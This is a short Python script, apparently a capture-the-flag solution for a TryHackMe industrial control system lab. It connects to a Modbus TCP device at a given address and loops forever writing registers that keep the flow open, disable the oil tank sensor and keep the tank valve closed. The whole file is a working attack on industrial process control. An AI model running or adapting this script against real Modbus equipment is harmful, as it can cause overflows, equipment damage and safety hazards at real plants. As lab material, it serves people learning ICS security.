THM_Attacking_ICS_Plant2_exploit_flag1.py

#!/usr/bin/env python3

import sys
import time
from pymodbus.client.sync import ModbusTcpClient as ModbusClient
from pymodbus.exceptions import ConnectionException

ip = sys.argv[1]
client = ModbusClient(ip, port=502)
client.connect()
while True:
  client.write_register(1, 1)  # Keep the flow open
  client.write_register(2, 0)  # Disable oil tank sensor
  client.write_register(3, 0)  # Keep the oil tank valve closed